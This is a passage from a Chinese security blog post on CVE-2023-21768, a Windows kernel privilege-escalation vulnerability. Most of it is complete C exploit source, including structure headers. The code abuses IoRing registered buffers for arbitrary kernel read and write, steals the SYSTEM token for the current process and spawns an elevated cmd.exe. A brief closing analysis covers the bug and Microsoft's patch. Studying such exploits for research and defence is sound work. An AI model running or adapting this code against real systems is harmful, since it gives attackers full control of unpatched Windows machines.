        VirtualFree(Data.pData1, 0, MEM_RELEASE);
    }
 
    if (NULL != Data.pData2)
    {
        VirtualFree(Data.pData2, 0, MEM_RELEASE);
    }
 
    return TRUE;
}
 
int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
    int ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG ulBytes = 0;
    NTSTATUS ntStatus = STATUS_SUCCESS;
 
    while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
        }
 
        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }
 
    if (ntStatus != STATUS_SUCCESS)
    {
        ret = ntStatus;
        goto done;
    }
 
    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
            ret = 0;
            break;
        }
    }
 
done:
    if (NULL != pHandleInfo)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return ret;
}
 
int ioring_init(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags;
 
    //创建IoRing
    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
    if (0 != ret)
    {
        printf("CreateIoRing failed");
        return FALSE;
    }
 
    //获取内核层指向IORING_OBJECT的结构体指针
    ret = getobjptr((PULONG64)ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
    if (0 != ret)
    {
        return FALSE;
    }
    pIoRing = *ppIoRingAddr;
 
    return TRUE;
}
 
BOOL File_init()
{
 
    hInPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        printf("CreateNamedPipeW failed");
        return FALSE;
    }
 
    hInPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        printf("CreateNamedPipeW failed");
        return FALSE;
    }
 
    return TRUE;
}
 
BOOL FakeRegisterBuffers_init()
{
 
    _HIORING* phIoRing = NULL;
 
 
    //设置内核层的_IORING_OBJECT结构体
    //IoRing->RegBuffers=0x1000000
    if (!ExploitWrite0x1((char*)&pIoRing->RegBuffers + 0x3))
    {
        printf("IoRing->RegBuffers write failed");
        return FALSE;
    }
 
    //IoRing->RegBuffersCount=0x1s
    if (!ExploitWrite0x1((char*)&pIoRing->RegBuffersCount))
    {
        printf("IoRing->RegBuffersCount write failed");
        return FALSE;
    }
 
    //在0x1000000申请对应Count数的空间,这应该是个结构体指针数组,每个指针都指向_IOP_MC_BUFFER_ENTRY结构体
    pFakeRegBuffers = VirtualAlloc((LPVOID)FakeRegBufferAddr, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * FakeRegBuffersCount);
 
    //设置用户层的_HIORING结构体
    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = FakeRegBuffersCount;
 
 
    return TRUE;   
}
 
 
BOOL TokenAddr_init()
{
    HANDLE hProc = NULL;
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, GetCurrentProcessId());
 
    getobjptr(&SystemEPROCaddr, 4, (HANDLE)4);
    getobjptr(&MyEPROCaddr, GetCurrentProcessId(), hProc);
 
    SystemTokenaddr = SystemEPROCaddr+ EPROC_TOKEN_OFFSET;
    MyTokenaddr = MyEPROCaddr+ EPROC_TOKEN_OFFSET;
 
    printf("SystemTokenaddr : %llx\n", SystemTokenaddr);
    printf("MyTokenaddr : %llx\n", MyTokenaddr);
    return TRUE;
}
 
 
BOOL Init_CVE_2023_21768()
{
    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
 
    if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)
    {
        printf("get function false ");
        return FALSE;
    }
 
 
    ioring_init(&pIoRing);
    File_init();
    FakeRegisterBuffers_init();
    TokenAddr_init();
}
 
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = (PVOID)pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
 
 
 
    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
 
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = (PVOID)pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
 
    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}
 
VOID PrivilegeEscalatio()
{
    ULONG64 ullSysToken;
 
    //ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)&test, &ullSysToken, sizeof(ULONG64));
    //printf("%llx\n", &test);
    ioring_read((PULONG64)pFakeRegBuffers, SystemTokenaddr, &ullSysToken, sizeof(ULONG64));
 
    printf("ullSysToken : %llx\n", ullSysToken);
    ioring_write((PULONG64)pFakeRegBuffers, MyTokenaddr, &ullSysToken, sizeof(ULONG64));
}
 
VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
 
VOID FixData()
{
    char null[0x10] = { 0 };
 
    ioring_write((PULONG64)pFakeRegBuffers,  (ULONG64)(&pIoRing->RegBuffersCount), &null, 0x10);
 
    if (pFakeRegBuffers != NULL)
    {
        VirtualFree(pFakeRegBuffers, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RELEASE);
    }
 
    if (hIoRing != NULL)
    {
        CloseHandle(hIoRing);
    }
 
}
int main()
{
    Init_CVE_2023_21768();
 
    PrivilegeEscalatio();
 
    CreateCmd();
 
    FixData();
}

struct.h

#include "win_defs.h"
 
typedef struct AFD_NOTIFYSOCK_DATA
{
    HANDLE HandleIoCompletion;
    PVOID pData1;
    PVOID pData2;
    PVOID pPwnPtr;
    DWORD dwCounter;
    DWORD dwTimeout;
    DWORD dwLen;
    char lol[0x4];
}AFD_NOTIFYSOCK_DATA;
 
typedef struct _NT_IORING_CREATE_FLAGS
{
    enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
    enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;
 
typedef struct _NT_IORING_INFO
{
    enum IORING_VERSION IoRingVersion;
    struct _NT_IORING_CREATE_FLAGS Flags;
    unsigned int SubmissionQueueSize;
    unsigned int SubmissionQueueRingMask;
    unsigned int CompletionQueueSize;
    unsigned int CompletionQueueRingMask;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO;
 
typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type;
    USHORT Reserved;
    ULONG Size;
    ULONG ReferenceCount;
    ULONG Flags;
    LIST_ENTRY GlobalDataLink;
    PVOID Address;
    ULONG Length;
    CHAR AccessMode;
    ULONG MdlRef;
    struct _MDL* Mdl;
    KEVENT MdlRundownEvent;
    PULONG64 PfnArray;
    BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
 
typedef struct _IORING_OBJECT
{
    short Type;
    short Size;
    struct _NT_IORING_INFO UserInfo;
    void* Section;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _MDL* CompletionQueueMdl;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
    unsigned __int64 ViewSize;
    long InSubmit;
    unsigned __int64 CompletionLock;
    unsigned __int64 SubmitCount;
    unsigned __int64 CompletionCount;
    unsigned __int64 CompletionWaitUntil;
    struct _KEVENT CompletionEvent;
    unsigned char SignalCompletionEvent;
    struct _KEVENT* CompletionUserEvent;
    unsigned int RegBuffersCount;
    struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
    unsigned int RegFilesCount;
    void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT;
 
typedef struct _HIORING
{
    HANDLE handle;
    NT_IORING_INFO Info;
    ULONG IoRingKernelAcceptedVersion;
    PVOID RegBufferArray;
    ULONG BufferArraySize;
    PVOID Unknown;
    ULONG FileHandlesCount;
    ULONG SubQueueHead;
    ULONG SubQueueTail;
}_HIORING;

win_defs.h

#ifndef _WIN_DEFS_H_
#define _WIN_DEFS_H_
 
#define EPROC_TOKEN_OFFSET 0x4b8
 
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
 
typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING TypeName;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN TypeIndex;
    CHAR ReservedByte;
    ULONG PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
 
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
 
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
 
typedef struct _DISPATCHER_HEADER
{
    union
    {
        volatile long Lock;
        long LockNV;
        struct
        {
            unsigned char Type;
            unsigned char Signalling;
            unsigned char Size;
            unsigned char Reserved1;
        };
        struct
        {
            unsigned char TimerType;
            union
            {
                unsigned char TimerControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Absolute : 1;
                        unsigned char Wake : 1;
                        unsigned char EncodedTolerableDelay : 6;
                    };
                    unsigned char Hand;
                    union
                    {
                        unsigned char TimerMiscFlags;
                        struct
                        {
                            unsigned char Index : 6;
                            unsigned char Inserted : 1;
                            volatile unsigned char Expired : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char Timer2Type;
            union
            {
                unsigned char Timer2Flags;
                struct
                {
                    struct
                    {
                        unsigned char Timer2Inserted : 1;
                        unsigned char Timer2Expiring : 1;
                        unsigned char Timer2CancelPending : 1;
                        unsigned char Timer2SetPending : 1;
                        unsigned char Timer2Running : 1;
                        unsigned char Timer2Disabled : 1;
                        unsigned char Timer2ReservedFlags : 2;
                    };
                    unsigned char Timer2ComponentId;
                    unsigned char Timer2RelativeId;
                };
            };
        };
        struct
        {
            unsigned char QueueType;
            union
            {
                unsigned char QueueControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Abandoned : 1;
                        unsigned char DisableIncrement : 1;
                        unsigned char QueueReservedControlFlags : 6;
                    };
                    unsigned char QueueSize;
                    unsigned char QueueReserved;
                };
            };
        };
        struct
        {
            unsigned char ThreadType;
            unsigned char ThreadReserved;
            union
            {
                unsigned char ThreadControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char CycleProfiling : 1;
                        unsigned char CounterProfiling : 1;
                        unsigned char GroupScheduling : 1;
                        unsigned char AffinitySet : 1;
                        unsigned char Tagged : 1;
                        unsigned char EnergyProfiling : 1;
                        unsigned char SchedulerAssist : 1;
                        unsigned char ThreadReservedControlFlags : 1;
                    };
                    union
                    {
                        unsigned char DebugActive;
                        struct
                        {
                            unsigned char ActiveDR7 : 1;
                            unsigned char Instrumented : 1;
                            unsigned char Minimal : 1;
                            unsigned char Reserved4 : 2;
                            unsigned char AltSyscall : 1;
                            unsigned char Emulation : 1;
                            unsigned char Reserved5 : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char MutantType;
            unsigned char MutantSize;
            unsigned char DpcActive;
            unsigned char MutantReserved;
        };
    };
    long SignalState;
    LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
 
typedef struct _KEVENT
{
    struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;
 
 
#endif

实验结果

思考:

由于没有进行预注册,IORing中的buffer是个随机值,所以结合本漏洞对buffer写值。结合这两点就可以实现任意地址读写进而内核提权。

感觉这应该是两个漏洞,一个是任意地址写1,一个是IO RING可以不预注册直接给IORing->RegBuffers

一个假地址,结合文件读写,可以达到任意地址读写。所以针对这个问题,应该在每次读写的时候检查一下地址是否合法。至于任意地址写1这个漏洞,微软在补丁中加入了ProbeForWrite函数去检测这个pData->pPwnPtr,但是自己传入的的确是一个用户地址,而在这个函数的汇编代码中确实一个内核地址,不知道为啥要这么做,可能是函数内部有所判断,或者是之前的代码针对ProbeForWrite设置的,最后只要一进入这个函数就会引发异常,那么这个执行流就废了。

2.23注:ProbeForWrite验证地址是否为用户地址,但是我们是给内核层空间写值,故而引发异常,所以不会执行Pwn点的代码

IORING没有预注册,所以内核中的IORING没有数值,借用写1漏洞达到内核用户2个IORING结构Buffer地址相同。假如预注册了,缓冲区数组中的写入或读取数据的地址不知是否可以是任意地址,如果是任意地址,那么这应该也是一个漏洞

参考:https://bbs.kanxue.com/thread-277016.htm

本文固定链接: https://www.socarates.online/index.php/2024/02/03/cve-2023-21768-windows%e5%86%85%e6%a0%b8%e6%8f%90%e6%9d%83%e6%bc%8f%e6%b4%9e/ | 安全技术研究

avatar
该日志由 Socarates 于2024年02月03日发表在 内核, 漏洞 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: CVE-2023-21768 Windows内核提权漏洞 | 安全技术研究
关键字: , ,
【上一篇】
【下一篇】

CVE-2023-21768 Windows内核提权漏洞:等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter